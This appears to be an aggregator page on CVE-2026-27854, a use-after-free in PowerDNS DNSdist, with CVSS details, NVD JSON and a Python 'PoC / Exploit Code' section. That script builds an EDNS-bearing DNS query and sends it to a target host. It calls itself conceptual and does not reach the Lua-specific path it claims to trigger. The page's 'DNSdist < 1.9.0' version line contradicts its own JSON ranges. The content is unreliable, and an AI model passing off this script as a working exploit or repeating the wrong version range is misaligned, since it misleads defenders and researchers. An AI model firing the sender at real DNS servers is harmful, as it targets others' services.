Security Vulnerability Report
中文
CVE-2026-27854 CVSS 4.8 MEDIUM

CVE-2026-27854

Published: 2026-03-31 12:16:28
Last Modified: 2026-04-14 16:09:48

Description

An attacker might be able to trigger a use-after-free by sending crafted DNS queries to a DNSdist using the DNSQuestion:getEDNSOptions method in custom Lua code. In some cases DNSQuestion:getEDNSOptions might refer to a version of the DNS packet that has been modified, thus triggering a use-after-free and potentially a crash resulting in denial of service.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:* - VULNERABLE
PowerDNS DNSdist < 1.9.0 (需参考官方公告确认具体受影响版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # Crafted DNS packet with EDNS option to trigger the UAF in DNSdist # This is a conceptual PoC demonstrating the network packet structure. def build_dns_packet(): # DNS Header transaction_id = 0x1234 flags = 0x0100 # Standard query questions = 1 answer_rrs = 0 authority_rrs = 0 additional_rrs = 1 # EDNS header = struct.pack('!HHHHHH', transaction_id, flags, questions, answer_rrs, authority_rrs, additional_rrs) # Question qname = b'\x03www\x07example\x03com\x00' # www.example.com qtype = struct.pack('!H', 1) # A record qclass = struct.pack('!H', 1) # IN question = qname + qtype + qclass # Additional (EDNS OPT pseudo-RR) name = b'\x00' # Root domain type = struct.pack('!H', 41) # OPT udp_payload_size = struct.pack('!H', 4096) extended_rcode = struct.pack('!B', 0) version = struct.pack('!B', 0) z = struct.pack('!H', 0) rdlen = struct.pack('!H', 4) # Length of RDATA # RDATA: Option code and data (Crafted to potentially trigger the specific parsing path) option_code = struct.pack('!H', 65001) # Custom option option_len = struct.pack('!H', 0) rdata = option_code + option_len additional = name + type + udp_payload_size + extended_rcode + version + z + rdlen + rdata return header + question + additional def send_exploit(target_ip, target_port): packet = build_dns_packet() try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) sock.sendto(packet, (target_ip, target_port)) print(f"[+] Packet sent to {target_ip}:{target_port}") except Exception as e: print(f"[-] Error: {e}") # Usage # send_exploit('192.168.1.10', 53)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27854", "sourceIdentifier": "[email protected]", "published": "2026-03-31T12:16:28.053", "lastModified": "2026-04-14T16:09:48.420", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An attacker might be able to trigger a use-after-free by sending crafted DNS queries to a DNSdist using the DNSQuestion:getEDNSOptions method in custom Lua code. In some cases DNSQuestion:getEDNSOptions might refer to a version of the DNS packet that has been modified, thus triggering a use-after-free and potentially a crash resulting in denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.9.0", "versionEndExcluding": "1.9.12", "matchCriteriaId": "628B3B94-81DE-496E-B36A-B79A3DFFE1F4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.0.3", "matchCriteriaId": "9AC850DD-FDD8-4C48-B861-4BBAF423FF57"}]}]}], "references": [{"url": "https://www.dnsdist.org/security-advisories/powerdns-advisory-for-dnsdist-2026-02.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}